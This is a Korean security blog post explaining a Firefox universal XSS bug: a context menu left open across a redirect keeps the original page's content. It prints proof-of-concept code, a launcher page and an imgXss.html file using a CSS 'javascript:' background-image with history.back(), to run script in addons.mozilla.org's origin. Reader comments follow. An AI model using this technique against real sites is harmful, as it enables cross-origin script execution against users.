관련해서 링크 읽어보니 재미있는 상황이더군요. (https://leucosite.com/Firefox-uXSS-and-CSS-XSS/)
내용을 이야기하자면 오래된 XSS 테스팅 코드가 있는데, 현재에는 거의 막혀있습니다. 재미있는 버그 하나와 이 코드를 이용해서 XSS가 가능한 사례인데요.
가볍게 읽어보도록 합시다.
Context Menu?
보편적으로 우클릭 시 나타나는 메뉴를 지칭합니다. 오늘 내용이 이 Context menu와 관련이 있어 간략하게 소개합니다.GUI Application에선 굉장히 편리한 메뉴이지요. (Burp extender 만드는데 이거땜에 조금 빡쳤..)
Bug!?
웹 브라우저, 즉 Javascript 상 Context 메뉴의 재미있는 점은 Context menu가 열린 상태에서 페이지가 이동되면 Context menu를 연 곳에 내용을 가지고 있다는 점입니다.Context menu가 열리고 페이지가 리다이렉션 될 때 소스보기로 보면 이동된 페이지가 아닌, 이동 시켜준 원본 페이지의 소스가 나타나게 됩니다.
<script>
document.location.href="https://www.hahwul.com/p/introduction.html"
</script>
![]() |
A(1.html)에서 Context menu를 열고 redirection으로 B(hahwul.com)으로 왔습니다. |
![]() |
Context menu의 소스보기를 누르면.. A의 소스가 열립니다!? |
Vulnerability
이러한 점을 이용하여 A 사이트에서 Context menu로 공격코드를 불러오고(background-image가 여기서...쓰이다니) 이를 redirection 된 b 사이트에서 실행하여 해당 도메인의 영역에서 스크립트가 동작할 수 있게 해줍니다.이렇게 동작하면 bookmarklet이나 debugger 계열 스크립트처럼 페이지 내부에 직접 삽입된 것과 동일한 효과를 가져 대상 도메인에서 코드가 동작할 수 있게 됩니다.
코드를 보면..
1초 간격 차이로 공격코드 페이지와 타겟 페이지를 띄웁니다. 이는 뒤 공격코드 페이지에서 history,back()으로 페이지를 넘겨 해당 도메인에서 코드가 실행되게 사용한 방법이죠.
<button id="qbutt">click me</button>
<script>
var qwin;
qbutt.onclick=e=>{
qwin=open('https://addons.mozilla.org/','qab'); // addons 사이트를 오픈, history.back() 시 되돌아갈 주소를 미리 만듬
setTimeout(function(){
open('imgXss.html','qab') // 1초 뒤 imgXss.html 파일을 오픈
},1000)
}
</script>
공격코드인 imgXss.html 파일입니다. 실제론 XSS 삽입 페이지 여러개로 구성할 수 있을듯합니다.
imgXss.html
<style>*{background-image:url('javascript:alert(location)')}</style>
<b> Right click, wait for redirection then click 'view background image'</b>
<script>
window.oncontextmenu=e=>{
setTimeout("history.back()",100) // 1초 뒤 뒤로 이동
}
</script>
아주 고전적인 공격코드인데, CSS에 배경 이미지 부분에 Javascript 코드를 넣습니다. 그리고 사용자에게 우클릭을 유도 후 view backgroudn image를 누르게 하여 Javascript를 실행하게 하는데요,
여기서 1초 뒤 history.back()으로 아까 addons 페이지로 넘깁니다. 그럼 Context menu는 공격코드쪽 페이지니 Javascript를 호출하도록 할 것이고 도메인은 Addons에서 동작하게 됩니다.
이런 정보들은 어떻게 구하시는 건가요?? 들어올 때마다 좋은 정보들이 가득해서 질문 드려봅니다 ㅎㅎ..
답글삭제음 취약점 관련 정보는 트윗이나 버그바운티 리포트에서 건지거나, 테스트하다가 발견한거 서칭하다 보면 비슷한 케이스들 모여서 정리되고.. 대체로 그렇습니다 :)
삭제역시 능력자 ;)
답글삭제